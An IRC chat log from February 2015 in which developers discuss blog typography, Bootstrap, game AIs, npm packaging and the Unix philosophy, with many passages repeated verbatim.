[2015-02-04T01:09:37-0500] <+hardmath123> awe: http://tinypic.com/view.php?pic=2krcqo&s=8#.VNG3iSkq2ZY (oldest image I could find; this version never made it to the internet thankfully)
[2015-02-04T01:10:03-0500] <+awe> Oh my. This is bad.
[2015-02-04T01:10:06-0500] <+hardmath123> [imgur didn't load so it's on the evil tinypic]
[2015-02-04T01:11:57-0500] <+awe> hardmath123: I like that your GH location is "Bay Area" and mine is "The Commonwealth"
[2015-02-04T01:12:48-0500] <+hardmath123> ...
[2015-02-04T01:16:56-0500] <+awe> What?
[2015-02-04T01:17:04-0500] <+awe> "Be aware of negative bias with online communication. (If content is neutral, we assume the tone is negative.)"
[2015-02-04T01:17:08-0500] <+awe> Is this well-documented?
[2015-02-04T01:24:08-0500] <assface> i don't know, I assume you don't think so though.
[2015-02-04T01:24:57-0500] <+awe> Well, I don't know if you noticed, but I do tend toward neutral content unless there's emotional charge.
[2015-02-04T01:27:37-0500] <assface> I always assumed you were being negative
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[2015-02-04T00:56:18-0500] <+hardmath123> awe: Nice. "The blog posts themselves were much too wide, making them difficult to read" :D :D :D
[2015-02-04T00:56:40-0500] <+awe> Yeah, I've read a few different articles about legibility and design.
[2015-02-04T00:57:03-0500] <+awe> The general gist being that everything we learned about newspapers still applies to screens.
[2015-02-04T00:57:28-0500] <+awe> Text that's too wide is hard to read because it's more difficult to scan, and spacing between lines is super important.
[2015-02-04T00:57:33-0500] <+hardmath123> Yes, exactly.
[2015-02-04T00:57:39-0500] <+hardmath123> Tell that to Jacob.
[2015-02-04T00:57:41-0500] <+hardmath123> :P
[2015-02-04T00:57:54-0500] <+hardmath123> :P
[2015-02-04T00:58:08-0500] <+awe> Jacob's "fancy" site looks pretty gross.
[2015-02-04T00:59:31-0500] <+awe> I really appreciate the 30+ web fonts and 12,000 lines of JS I had to download just to see it.
[2015-02-04T01:01:12-0500] <+awe> hardmath123: seriously, there's over THIRTY WEB FONTS.
[2015-02-04T01:01:42-0500] <+hardmath123> I just retypeset my blog in explicitly-thinned in Times New Roman.
[2015-02-04T01:01:47-0500] <+hardmath123> I think it looks kinda cute.
[2015-02-04T01:03:16-0500] <MrSaints> awe, "glaringly bright background colors made the page hard to look at" definitely
[2015-02-04T01:03:44-0500] <+awe> hardmath123: your site was yellow before, right?
[2015-02-04T01:04:28-0500] <+hardmath123> awe: only the little strip on top is yellow
[2015-02-04T01:04:30-0500] <MrSaints> awe, http://aaronweiss.us/css/bootstrap.min.css
[2015-02-04T01:04:32-0500] <MrSaints> lol
[2015-02-04T01:04:36-0500] <+awe> hardmath123: did it used to be different?
[2015-02-04T01:04:37-0500] <MrSaints> all just for grids
[2015-02-04T01:04:52-0500] <+awe> MrSaints: grids and glyphicons
[2015-02-04T01:05:01-0500] <+hardmath123> awe: it has evolved a *lot*. you can go and git checkout old versions. some are horrific, some are pretty but were changed because i got sick of it.
[2015-02-04T01:05:04-0500] <+awe> MrSaints: which is all that's contained in that file though.
[2015-02-04T01:05:17-0500] <MrSaints> ah
[2015-02-04T01:05:44-0500] <+awe> hardmath123: your commit messages are so bad.
[2015-02-04T01:05:55-0500] <+awe> MrSaints: that and normalize, obviously.
[2015-02-04T01:05:59-0500] <+awe> MrSaints: but that has it's own value, too.
[2015-02-04T01:06:02-0500] <MrSaints> you're using font awesome and glyphicons?
[2015-02-04T01:06:17-0500] <+awe> Yeah.
[2015-02-04T01:06:22-0500] <MrSaints> well i see form styles
[2015-02-04T01:06:25-0500] <MrSaints> and table styles too
[2015-02-04T01:06:25-0500] <+awe> Font Awesome is just for the GitHub icon.
[2015-02-04T01:06:35-0500] <+awe> Yeah, I think I included some extra stuff.
[2015-02-04T01:06:48-0500] <+awe> Tables may show up in blog posts.
[2015-02-04T01:06:50-0500] <+awe> So, it's good to have that.
[2015-02-04T01:06:52-0500] <MrSaints> ya
[2015-02-04T01:06:57-0500] <+awe> I'll regenerate without form styling though.
[2015-02-04T01:07:36-0500] <+hardmath123> awe: only on my blog. because i don't care much about the history (except for reminiscing)
[2015-02-04T01:08:31-0500] <+awe> Yeah, I just accidentally left forms enabled.
[2015-02-04T01:09:36-0500] <+hardmath123> awe: http://tinypic.com/view.php?pic=2krcqo&s=8#.VNG3iSkq2ZY (oldest image I could find; this version never made it to the internet thankfully)
[2015-02-04T01:10:03-0500] <+awe> Oh my. This is bad.
[2015-02-04T01:10:06-0500] <+hardmath123> [imgur didn't load so it's on the evil tinypic]
[2015-02-04T01:11:57-0500] <+awe> hardmath123: I like that your GH location is "Bay Area" and mine is "The Commonwealth"
[2015-02-04T01:12:48-0500] <+hardmath123> ...
[2015-02-04T01:16:56-0500] <+awe> What?
[2015-02-04T01:17:04-0500] <+awe> "Be aware of negative bias with online communication. (If content is neutral, we assume the tone is negative.)"
[2015-02-04T01:17:08-0500] <+awe> Is this well-documented?
[2015-02-04T01:24:08-0500] <assface> i don't know, I assume you don't think so though.
[2015-02-04T01:24:57-0500] <+awe> Well, I don't know if you noticed, but I do tend toward neutral content unless there's emotional charge.
[2015-02-04T01:27:37-0500] <assface> I always assumed you were being negative
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[2015-02-04T09:49:07-0500] <+awe> [01:27:37]  <assface>	I always assumed you were being negative
[2015-02-04T09:49:12-0500] <+awe> assface: welp, that clarifies that then.
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[2015-02-04T12:10:20-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-04T00:57:28-0500] <+awe> Text that's too wide is hard to read because it's more difficult to scan, and spacing between lines is super important.
[2015-02-04T00:57:33-0500] <+hardmath123> Yes, exactly.
[2015-02-04T00:57:39-0500] <+hardmath123> Tell that to Jacob.
[2015-02-04T00:57:41-0500] <+hardmath123> :P
[2015-02-04T00:57:54-0500] <+hardmath123> :P
[2015-02-04T00:58:08-0500] <+awe> Jacob's "fancy" site looks pretty gross.
[2015-02-04T00:59:31-0500] <+awe> I really appreciate the 30+ web fonts and 12,000 lines of JS I had to download just to see it.
[2015-02-04T01:01:12-0500] <+awe> hardmath123: seriously, there's over THIRTY WEB FONTS.
[2015-02-04T01:01:42-0500] <+hardmath123> I just retypeset my blog in explicitly-thinned in Times New Roman.
[2015-02-04T01:01:47-0500] <+hardmath123> I think it looks kinda cute.
[2015-02-04T01:03:16-0500] <MrSaints> awe, "glaringly bright background colors made the page hard to look at" definitely
[2015-02-04T01:03:44-0500] <+awe> hardmath123: your site was yellow before, right?
[2015-02-04T01:04:28-0500] <+hardmath123> awe: only the little strip on top is yellow
[2015-02-04T01:04:30-0500] <MrSaints> awe, http://aaronweiss.us/css/bootstrap.min.css
[2015-02-04T01:04:32-0500] <MrSaints> lol
[2015-02-04T01:04:36-0500] <+awe> hardmath123: did it used to be different?
[2015-02-04T01:04:37-0500] <MrSaints> all just for grids
[2015-02-04T01:04:52-0500] <+awe> MrSaints: grids and glyphicons
[2015-02-04T01:05:01-0500] <+hardmath123> awe: it has evolved a *lot*. you can go and git checkout old versions. some are horrific, some are pretty but were changed because i got sick of it.
[2015-02-04T01:05:04-0500] <+awe> MrSaints: which is all that's contained in that file though.
[2015-02-04T01:05:17-0500] <MrSaints> ah
[2015-02-04T01:05:44-0500] <+awe> hardmath123: your commit messages are so bad.
[2015-02-04T01:05:55-0500] <+awe> MrSaints: that and normalize, obviously.
[2015-02-04T01:05:59-0500] <+awe> MrSaints: but that has it's own value, too.
[2015-02-04T01:06:02-0500] <MrSaints> you're using font awesome and glyphicons?
[2015-02-04T01:06:17-0500] <+awe> Yeah.
[2015-02-04T01:06:22-0500] <MrSaints> well i see form styles
[2015-02-04T01:06:25-0500] <MrSaints> and table styles too
[2015-02-04T01:06:25-0500] <+awe> Font Awesome is just for the GitHub icon.
[2015-02-04T01:06:35-0500] <+awe> Yeah, I think I included some extra stuff.
[2015-02-04T01:06:48-0500] <+awe> Tables may show up in blog posts.
[2015-02-04T01:06:50-0500] <+awe> So, it's good to have that.
[2015-02-04T01:06:52-0500] <MrSaints> ya
[2015-02-04T01:06:57-0500] <+awe> I'll regenerate without form styling though.
[2015-02-04T01:07:36-0500] <+hardmath123> awe: only on my blog. because i don't care much about the history (except for reminiscing)
[2015-02-04T01:08:31-0500] <+awe> Yeah, I just accidentally left forms enabled.
[2015-02-04T01:09:36-0500] <+hardmath123> awe: http://tinypic.com/view.php?pic=2krcqo&s=8#.VNG3iSkq2ZY (oldest image I could find; this version never made it to the internet thankfully)
[2015-02-04T01:10:03-0500] <+awe> Oh my. This is bad.
[2015-02-04T01:10:06-0500] <+hardmath123> [imgur didn't load so it's on the evil tinypic]
[2015-02-04T01:11:57-0500] <+awe> hardmath123: I like that your GH location is "Bay Area" and mine is "The Commonwealth"
[2015-02-04T01:12:48-0500] <+hardmath123> ...
[2015-02-04T01:16:56-0500] <+awe> What?
[2015-02-04T01:17:04-0500] <+awe> "Be aware of negative bias with online communication. (If content is neutral, we assume the tone is negative.)"
[2015-02-04T01:17:08-0500] <+awe> Is this well-documented?
[2015-02-04T01:24:08-0500] <assface> i don't know, I assume you don't think so though.
[2015-02-04T01:24:57-0500] <+awe> Well, I don't know if you noticed, but I do tend toward neutral content unless there's emotional charge.
[2015-02-04T01:27:37-0500] <assface> I always assumed you were being negative
[2015-02-04T09:49:06-0500] <+awe> [01:27:37]  <assface>	I always assumed you were being negative
[2015-02-04T09:49:12-0500] <+awe> assface: welp, that clarifies that then.
[2015-02-04T11:02:36-0500] <+LittleBobbyTables> https://www.youtube.com/watch?v=ZfEXTK4lWyk
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[2015-02-04T12:19:19-0500] <+awe> Woo, guys.
[2015-02-04T12:19:22-0500] <+awe> Look at the new pdgn.co site: http://pdgn.co
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[2015-02-04T12:55:24-0500] <Hyper> awe: wow, such site
[2015-02-04T12:55:30-0500] <+awe> Right?
[2015-02-04T12:55:33-0500] <+awe> I worked hard on it.
[2015-02-04T12:55:51-0500] <+awe> Will actually do later. I'm in class.
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[2015-02-04T13:25:59-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-04T00:59:31-0500] <+awe> I really appreciate the 30+ web fonts and 12,000 lines of JS I had to download just to see it.
[2015-02-04T01:01:12-0500] <+awe> hardmath123: seriously, there's over THIRTY WEB FONTS.
[2015-02-04T01:01:42-0500] <+hardmath123> I just retypeset my blog in explicitly-thinned in Times New Roman.
[2015-02-04T01:01:47-0500] <+hardmath123> I think it looks kinda cute.
[2015-02-04T01:03:16-0500] <MrSaints> awe, "glaringly bright background colors made the page hard to look at" definitely
[2015-02-04T01:03:44-0500] <+awe> hardmath123: your site was yellow before, right?
[2015-02-04T01:04:28-0500] <+hardmath123> awe: only the little strip on top is yellow
[2015-02-04T01:04:30-0500] <MrSaints> awe, http://aaronweiss.us/css/bootstrap.min.css
[2015-02-04T01:04:32-0500] <MrSaints> lol
[2015-02-04T01:04:36-0500] <+awe> hardmath123: did it used to be different?
[2015-02-04T01:04:37-0500] <MrSaints> all just for grids
[2015-02-04T01:04:52-0500] <+awe> MrSaints: grids and glyphicons
[2015-02-04T01:05:01-0500] <+hardmath123> awe: it has evolved a *lot*. you can go and git checkout old versions. some are horrific, some are pretty but were changed because i got sick of it.
[2015-02-04T01:05:04-0500] <+awe> MrSaints: which is all that's contained in that file though.
[2015-02-04T01:05:17-0500] <MrSaints> ah
[2015-02-04T01:05:44-0500] <+awe> hardmath123: your commit messages are so bad.
[2015-02-04T01:05:55-0500] <+awe> MrSaints: that and normalize, obviously.
[2015-02-04T01:05:59-0500] <+awe> MrSaints: but that has it's own value, too.
[2015-02-04T01:06:02-0500] <MrSaints> you're using font awesome and glyphicons?
[2015-02-04T01:06:17-0500] <+awe> Yeah.
[2015-02-04T01:06:22-0500] <MrSaints> well i see form styles
[2015-02-04T01:06:25-0500] <MrSaints> and table styles too
[2015-02-04T01:06:25-0500] <+awe> Font Awesome is just for the GitHub icon.
[2015-02-04T01:06:35-0500] <+awe> Yeah, I think I included some extra stuff.
[2015-02-04T01:06:48-0500] <+awe> Tables may show up in blog posts.
[2015-02-04T01:06:50-0500] <+awe> So, it's good to have that.
[2015-02-04T01:06:52-0500] <MrSaints> ya
[2015-02-04T01:06:57-0500] <+awe> I'll regenerate without form styling though.
[2015-02-04T01:07:36-0500] <+hardmath123> awe: only on my blog. because i don't care much about the history (except for reminiscing)
[2015-02-04T01:08:31-0500] <+awe> Yeah, I just accidentally left forms enabled.
[2015-02-04T01:09:36-0500] <+hardmath123> awe: http://tinypic.com/view.php?pic=2krcqo&s=8#.VNG3iSkq2ZY (oldest image I could find; this version never made it to the internet thankfully)
[2015-02-04T01:10:03-0500] <+awe> Oh my. This is bad.
[2015-02-04T01:10:06-0500] <+hardmath123> [imgur didn't load so it's on the evil tinypic]
[2015-02-04T01:11:57-0500] <+awe> hardmath123: I like that your GH location is "Bay Area" and mine is "The Commonwealth"
[2015-02-04T01:12:48-0500] <+hardmath123> ...
[2015-02-04T01:16:56-0500] <+awe> What?
[2015-02-04T01:17:04-0500] <+awe> "Be aware of negative bias with online communication. (If content is neutral, we assume the tone is negative.)"
[2015-02-04T01:17:08-0500] <+awe> Is this well-documented?
[2015-02-04T01:24:08-0500] <assface> i don't know, I assume you don't think so though.
[2015-02-04T01:24:57-0500] <+awe> Well, I don't know if you noticed, but I do tend toward neutral content unless there's emotional charge.
[2015-02-04T01:27:37-0500] <assface> I always assumed you were being negative
[2015-02-04T09:49:06-0500] <+awe> [01:27:37]  <assface>	I always assumed you were being negative
[2015-02-04T09:49:12-0500] <+awe> assface: welp, that clarifies that then.
[2015-02-04T11:02:36-0500] <+LittleBobbyTables> https://www.youtube.com/watch?v=ZfEXTK4lWyk
[2015-02-04T12:19:19-0500] <+awe> Woo, guys.
[2015-02-04T12:19:22-0500] <+awe> Look at the new pdgn.co site: http://pdgn.co
[2015-02-04T12:55:24-0500] <Hyper> awe: wow, such site
[2015-02-04T12:55:30-0500] <+awe> Right?
[2015-02-04T12:55:33-0500] <+awe> I worked hard on it.
[2015-02-04T12:55:51-0500] <+awe> Will actually do later. I'm in class.
[2015-02-04T13:26:00-0500] Mode is +nt
[2015-02-04T13:48:25-0500] <+awe> We spent my probability discussion today going over Monty Hall. :D
[2015-02-04T13:52:25-0500] <assface> when I figured out Monty Hall it fucked with my brain
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[2015-02-04T16:15:18-0500] <+awe> BoingBoing's site is kind of awful.
[2015-02-04T16:15:47-0500] <+awe> Content is great, but links use weird tracking JS.
[2015-02-04T16:15:55-0500] <+awe> And my addons disable them entirely as a result. .-.
[2015-02-04T16:40:50-0500] <+awe> @tell JacobEdelman Lauren was reading about uni professors in Psychology (because she's considering graduate school), and she read "Jacob Feldman" as Jacob Edelman. :D
[2015-02-04T16:40:50-0500] <awebot> awe: I'll let them know!
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[2015-02-04T17:42:15-0500] <JacobEdelman> I have rearrived
[2015-02-04T17:42:16-0500] <awebot> JacobEdelman: An hour ago, awe said Lauren was reading about uni professors in Psychology (because she's considering graduate school), and she read "Jacob Feldman" as Jacob Edelman. :D.
[2015-02-04T17:42:48-0500] <JacobEdelman> :P
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[2015-02-04T18:20:28-0500] <JacobEdelman> I just accidentally ate through most of a large bag of potato chips.... oops?
[2015-02-04T18:20:52-0500] <+awe> Nice.
[2015-02-04T18:20:55-0500] <+awe> I usually do that.
[2015-02-04T18:21:04-0500] <+awe> 1 bag of doritos = 1 sitting
[2015-02-04T18:21:50-0500] <+jwoglom> lol yeah, potato chips usually don't last much longer than 1 sitting for me
[2015-02-04T18:22:18-0500] <+awe> So, I'm approaching the point where I can reliably three or four stock NPCs on 9.
[2015-02-04T18:34:33-0500] <+awe> Except for Fox and Falco which are much harder.
[2015-02-04T18:50:22-0500] <Hyper> awe: PM or melee?
[2015-02-04T18:50:30-0500] <+awe> Melee.
[2015-02-04T18:50:34-0500] <Hyper> 20xx?
[2015-02-04T18:50:39-0500] <+awe> 20xx?
[2015-02-04T18:50:46-0500] <Hyper> the 20XX hack pack
[2015-02-04T18:50:48-0500] <Hyper> erm
[2015-02-04T18:50:50-0500] <Hyper> training pack
[2015-02-04T18:50:56-0500] <+awe> Oh, no.
[2015-02-04T18:51:00-0500] <+awe> I didn't know that was a thing.
[2015-02-04T18:51:01-0500] <Hyper> it does a lot of stuff, amongst which is make the fox AI much better
[2015-02-04T18:51:04-0500] <+awe> Ah.
[2015-02-04T18:51:09-0500] <+awe> I'll perhaps look into that later.
[2015-02-04T18:51:16-0500] <Hyper> PM also has pretty good AIs for fox and falco
[2015-02-04T18:53:00-0500] <Hyper> I guess we have to play a game if you're in the city :)
[2015-02-04T18:53:12-0500] <+awe> I'm still pretty bad.
[2015-02-04T18:53:15-0500] <+awe> But I'm working on it.
[2015-02-04T19:13:53-0500] <+hardmath123> wait so you guys are more or less supportive of me writing KOBE, right?
[2015-02-04T19:14:17-0500] <+hardmath123> (i.e. does it take priority over homework atm?)
[2015-02-04T19:29:11-0500] <+awe> Sure.
[2015-02-04T19:29:13-0500] <+awe> And sure.
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[2015-02-04T20:04:51-0500] <JacobEdelman> I have rearrived
[2015-02-04T20:08:01-0500] <+hardmath123> hey JacobEdelman 
[2015-02-04T20:08:12-0500] <JacobEdelman> hello
[2015-02-04T20:09:53-0500] <+awe> hi JacobEdelman 
[2015-02-04T20:09:54-0500] <+awe> hi hardmath123 
[2015-02-04T20:10:46-0500] <+ubuntor> hey
[2015-02-04T20:12:40-0500] <JacobEdelman> hello awe
[2015-02-04T20:12:43-0500] <JacobEdelman> hello ubuntor
[2015-02-04T20:23:03-0500] <assface> http://buttersafe.com/comics/2015-02-03-superbowlpart3.jpg
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[2015-02-04T12:55:24-0500] <Hyper> awe: wow, such site
[2015-02-04T12:55:30-0500] <+awe> Right?
[2015-02-04T12:55:33-0500] <+awe> I worked hard on it.
[2015-02-04T12:55:51-0500] <+awe> Will actually do later. I'm in class.
[2015-02-04T13:48:25-0500] <+awe> We spent my probability discussion today going over Monty Hall. :D
[2015-02-04T13:52:25-0500] <assface> when I figured out Monty Hall it fucked with my brain
[2015-02-04T16:15:18-0500] <+awe> BoingBoing's site is kind of awful.
[2015-02-04T16:15:47-0500] <+awe> Content is great, but links use weird tracking JS.
[2015-02-04T16:15:55-0500] <+awe> And my addons disable them entirely as a result. .-.
[2015-02-04T16:40:50-0500] <+awe> @tell JacobEdelman Lauren was reading about uni professors in Psychology (because she's considering graduate school), and she read "Jacob Feldman" as Jacob Edelman. :D
[2015-02-04T16:40:50-0500] <awebot> awe: I'll let them know!
[2015-02-04T17:42:15-0500] <JacobEdelman> I have rearrived
[2015-02-04T17:42:15-0500] <awebot> JacobEdelman: An hour ago, awe said Lauren was reading about uni professors in Psychology (because she's considering graduate school), and she read "Jacob Feldman" as Jacob Edelman. :D.
[2015-02-04T17:42:48-0500] <JacobEdelman> :P
[2015-02-04T18:20:28-0500] <JacobEdelman> I just accidentally ate through most of a large bag of potato chips.... oops?
[2015-02-04T18:20:52-0500] <+awe> Nice.
[2015-02-04T18:20:55-0500] <+awe> I usually do that.
[2015-02-04T18:21:04-0500] <+awe> 1 bag of doritos = 1 sitting
[2015-02-04T18:21:50-0500] <+jwoglom> lol yeah, potato chips usually don't last much longer than 1 sitting for me
[2015-02-04T18:22:18-0500] <+awe> So, I'm approaching the point where I can reliably three or four stock NPCs on 9.
[2015-02-04T18:34:33-0500] <+awe> Except for Fox and Falco which are much harder.
[2015-02-04T18:50:22-0500] <Hyper> awe: PM or melee?
[2015-02-04T18:50:29-0500] <+awe> Melee.
[2015-02-04T18:50:34-0500] <Hyper> 20xx?
[2015-02-04T18:50:39-0500] <+awe> 20xx?
[2015-02-04T18:50:46-0500] <Hyper> the 20XX hack pack
[2015-02-04T18:50:48-0500] <Hyper> erm
[2015-02-04T18:50:50-0500] <Hyper> training pack
[2015-02-04T18:50:55-0500] <+awe> Oh, no.
[2015-02-04T18:51:00-0500] <+awe> I didn't know that was a thing.
[2015-02-04T18:51:00-0500] <Hyper> it does a lot of stuff, amongst which is make the fox AI much better
[2015-02-04T18:51:04-0500] <+awe> Ah.
[2015-02-04T18:51:09-0500] <+awe> I'll perhaps look into that later.
[2015-02-04T18:51:16-0500] <Hyper> PM also has pretty good AIs for fox and falco
[2015-02-04T18:53:00-0500] <Hyper> I guess we have to play a game if you're in the city :)
[2015-02-04T18:53:12-0500] <+awe> I'm still pretty bad.
[2015-02-04T18:53:15-0500] <+awe> But I'm working on it.
[2015-02-04T19:13:53-0500] <+hardmath123> wait so you guys are more or less supportive of me writing KOBE, right?
[2015-02-04T19:14:17-0500] <+hardmath123> (i.e. does it take priority over homework atm?)
[2015-02-04T19:29:11-0500] <+awe> Sure.
[2015-02-04T19:29:13-0500] <+awe> And sure.
[2015-02-04T20:04:51-0500] <JacobEdelman> I have rearrived
[2015-02-04T20:08:01-0500] <+hardmath123> hey JacobEdelman 
[2015-02-04T20:08:12-0500] <JacobEdelman> hello
[2015-02-04T20:09:53-0500] <+awe> hi JacobEdelman 
[2015-02-04T20:09:54-0500] <+awe> hi hardmath123 
[2015-02-04T20:10:45-0500] <+ubuntor> hey
[2015-02-04T20:12:39-0500] <JacobEdelman> hello awe
[2015-02-04T20:12:42-0500] <JacobEdelman> hello ubuntor
[2015-02-04T20:23:03-0500] <assface> http://buttersafe.com/comics/2015-02-03-superbowlpart3.jpg
[2015-02-04T20:26:30-0500] Mode is +nt
[2015-02-04T20:27:24-0500] <JacobEdelman> Punxsutawney Phil is right 39% of the time
[2015-02-04T20:27:44-0500] <JacobEdelman> which means his predictions due have some correlation with the weather!
[2015-02-04T20:27:58-0500] <JacobEdelman> (its just negative correlation)
[2015-02-04T20:34:52-0500] <Hyper> so I just got a recruiting email from a16z o.o
[2015-02-04T20:34:57-0500] <Hyper> I don't know how I feel about this.
[2015-02-04T20:46:07-0500] <assface> eh
[2015-02-04T20:46:14-0500] <assface> are you a good writer?
[2015-02-04T20:47:16-0500] <Hyper> more accurately they contacted me about recruiting into any of their startups
[2015-02-04T20:47:25-0500] <Hyper> like not working at a16z themselves
[2015-02-04T20:47:42-0500] <assface> ah
[2015-02-04T20:47:58-0500] <assface> I don't think I would want to work at a startup
[2015-02-04T20:48:16-0500] <Hyper> that's part of my conflict-y-ness
[2015-02-04T20:51:57-0500] <Hyper> on the other hand, I'd like something to do over the summer :)
[2015-02-04T20:56:13-0500] <+hardmath123> http://hardmath123.github.io/nasty-python-monstrosities.html
[2015-02-04T21:03:42-0500] <Hyper> hardmath123: nice
[2015-02-04T21:16:54-0500] <bob_twinkles>  /b 5
[2015-02-04T21:33:07-0500] <+awe> JacobEdelman: but honestly, 11% is pretty much random
[2015-02-04T21:43:34-0500] <+awe> https://github.com/The-Feminist-Software-Foundation/ToleranUX
[2015-02-04T21:47:20-0500] <alokpathy> Oh I think these people made C+= too.
[2015-02-04T21:47:45-0500] <+awe> Yeah
[2015-02-04T21:49:17-0500] <alokpathy> That moment when you see torvalds is a contributor.
[2015-02-04T21:49:26-0500] <bob_twinkles> wait is this real
[2015-02-04T21:49:39-0500] <+awe> no.
[2015-02-04T21:49:54-0500] <bob_twinkles> oh good
[2015-02-04T21:50:06-0500] <alokpathy> " In ToleranUX, no means no, and yes could mean no as well."
[2015-02-04T21:50:37-0500] <alokpathy> "file is utterly banned. How dare you question a file's identity!"
[2015-02-04T21:53:08-0500] <bob_twinkles> the frickin ant-unix principles
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[2015-02-04T23:15:12-0500] <bob_twinkles> mfw the "pdf slides" link downloads a powerpoint
[2015-02-04T23:16:55-0500] <+awe> Lol.
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[2015-02-04T23:53:15-0500] • LittleBobbyTables: >outfarm literally everyone in game
[2015-02-04T23:53:20-0500] <+LittleBobbyTables> >get rax in two lanes
[2015-02-04T23:53:27-0500] <+LittleBobbyTables> >team feeds 4v4 fights somehow (while ahead)
[2015-02-04T23:57:07-0500] <+awe> My ping to the NJ server is under 1ms, by the way.
[2015-02-05T00:08:12-0500] <+LittleBobbyTables> my ping to my house is 20
[2015-02-05T00:09:51-0500] <+awe> Can you believe that though?
[2015-02-05T00:09:56-0500] <+awe> <1ms ping?
[2015-02-05T00:09:58-0500] <+awe> Over the internet?
[2015-02-05T00:10:00-0500] <+awe> It's crazy.
[2015-02-05T01:07:12-0500] <assface> das cray
[2015-02-05T01:07:51-0500] <+hardmath123> Is this over hyperboria? Or the Actual Internet?
[2015-02-05T01:08:46-0500] <+hardmath123> Also, I just realized, since I do irc off an ssh'd server, having the irc server closer to the Bay Area doesn't help.
[2015-02-05T01:08:48-0500] <+hardmath123> :P
[2015-02-05T01:10:37-0500] <+awe> hardmath123: actual interwebs and hypberoai
[2015-02-05T01:10:41-0500] <+awe> hardmath123: hyperboria
[2015-02-05T01:10:41-0500] <+awe> wow.
[2015-02-05T01:10:43-0500] <+awe> that was bad.
[2015-02-05T01:10:50-0500] <+awe> hardmath123: sorry bb.
[2015-02-05T01:20:54-0500] <bob_twinkles> somehow I don't see <100ms as a critical feature of an IRC network
[2015-02-05T01:21:07-0500] <bob_twinkles> it's nice I suppose, but I don't type fast enough for that to matter =PO
[2015-02-05T03:20:24-0500] <+awe> bob_twinkles: I just think it's funny that I'm sub 1ms.
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[2015-02-05T07:27:27-0500] <JacobEdelman> @tell hardmath123 what if python packages could be put on npm? actually, can they already?
[2015-02-05T07:27:28-0500] <awebot> JacobEdelman: I'll let them know!
[2015-02-05T07:27:39-0500] <JacobEdelman> awe: voice me please
[2015-02-05T07:27:56-0500] <JacobEdelman> hmmmm... also, awe, can I use your zsh server or whatever, pleas?
[2015-02-05T07:27:58-0500] <JacobEdelman> *please
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[2015-02-05T10:02:56-0500] <+hardmath123> JacobEdelman: theoretically, you can distribute a python script with npm. it's just that npm's user agreement says you're only allowed to upload JS packagey things.
[2015-02-05T10:02:56-0500] <awebot> hardmath123: 2 hours ago, JacobEdelman said what if python packages could be put on npm? actually, can they already?
[2015-02-05T10:03:13-0500] <JacobEdelman> hardmath123: hmm... they released the code for it
[2015-02-05T10:03:19-0500] <JacobEdelman> so I can make a clone for python
[2015-02-05T10:16:24-0500] <JacobEdelman> alokpathy: I don't think torvalds is an actuall contirbutor, I think they just forked the linux repository
[2015-02-05T10:21:14-0500] <JacobEdelman> hmm... I'm looking at the unix programming philosphy
[2015-02-05T10:21:37-0500] <JacobEdelman> and I think that I actually adhear to it pretty well despite complaints (cough, cough awe) of my programming practices
[2015-02-05T10:22:04-0500] <JacobEdelman> en.wikipedia.org/wiki/Unix_philosophy (specifically eric s raymond
[2015-02-05T10:22:08-0500] <JacobEdelman> *'s ones
[2015-02-05T10:34:06-0500] <+hardmath123> JacobEdelman: you could, yes, but Python people would ostracize you if you wrote their module system in node.
[2015-02-05T10:34:27-0500] <+hardmath123> JacobEdelman: if you reimplement the same architecture in Python, though, it could be pretty sweet. :D
[2015-02-05T10:34:44-0500] <JacobEdelman> .... hmmm, well, too bad for the python people
[2015-02-05T10:34:47-0500] <JacobEdelman> :P
[2015-02-05T10:34:53-0500] <JacobEdelman> I mean, its only a web server
[2015-02-05T10:35:02-0500] <JacobEdelman> from a client perspective it would look like normal python
[2015-02-05T10:35:21-0500] <+hardmath123> No, I mean reimplement npm the command-line tool.
[2015-02-05T10:35:56-0500] <JacobEdelman> oh, well, I'm lazy
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[2015-02-05T10:47:55-0500] <+awe> JacobEdelman: you're completely wrong.
[2015-02-05T10:48:52-0500] <JacobEdelman> awe: I thought you would say that
[2015-02-05T10:49:51-0500] <+awe> JacobEdelman: you don't do modularity, clarity, composition, separation, simplicity, transparency, robustness, unsure about representation, least surprise, repair, generation, diversity
[2015-02-05T10:49:51-0500] <JacobEdelman> awe: I just follow the rules of economy, optimization, generation, and parsimony more heavily
[2015-02-05T10:50:34-0500] <JacobEdelman> also, I'd argue that I do do the ones you say, just less so than you
[2015-02-05T10:50:38-0500] <JacobEdelman> and vice versa
[2015-02-05T10:50:45-0500] <+awe> I don't embody the Unix philosophy, or even try to.
[2015-02-05T10:51:20-0500] <JacobEdelman> hmmm... why not? I was just looking at them to see how bad my programmign practices were
[2015-02-05T10:51:36-0500] <+awe> Richard P. Gabriel suggests that a key advantage of Unix was that it embodied a design philosophy he termed "worse is better", in which simplicity of both the interface and the implementation are more important than any other attributes of the system—including correctness, consistency, and completeness. Gabriel argues that this design style has key evolutionary advantages, though he questions the quality of some results.
[2015-02-05T10:51:44-0500] <+awe> It produces bad code.
[2015-02-05T10:51:48-0500] <JacobEdelman> I like that idea
[2015-02-05T10:51:49-0500] <JacobEdelman> :)
[2015-02-05T10:51:50-0500] <+awe> I value correctness, consistency, and completeness.
[2015-02-05T10:51:56-0500] <JacobEdelman> I don't
[2015-02-05T10:52:05-0500] <JacobEdelman> simplicity creates them 
[2015-02-05T10:52:07-0500] <+awe> The former two are definitely more important than the latter, but the latter is always a goal.
[2015-02-05T10:52:12-0500] <+awe> No, it doesn't.
[2015-02-05T10:52:17-0500] <+awe> Simplicity /= correctness.
[2015-02-05T10:52:25-0500] <+awe> It can imply consistency sometimes.
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[2015-02-05T10:54:51-0500] <+awe> But only really by virtue of not having enough to be consistent.
[2015-02-05T10:55:42-0500] <+awe> The Unix philosophy may have been effective for getting a lot of stuff done at a time where portability was nearly impossible and it sought to bridge that gap.
[2015-02-05T10:55:55-0500] <+awe> But the landscape of software development is vastly different today.
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[2015-02-05T10:03:19-0500] <JacobEdelman> so I can make a clone for python
[2015-02-05T10:16:24-0500] <JacobEdelman> alokpathy: I don't think torvalds is an actuall contirbutor, I think they just forked the linux repository
[2015-02-05T10:21:14-0500] <JacobEdelman> hmm... I'm looking at the unix programming philosphy
[2015-02-05T10:21:37-0500] <JacobEdelman> and I think that I actually adhear to it pretty well despite complaints (cough, cough awe) of my programming practices
[2015-02-05T10:22:03-0500] <JacobEdelman> en.wikipedia.org/wiki/Unix_philosophy (specifically eric s raymond
[2015-02-05T10:22:08-0500] <JacobEdelman> *'s ones
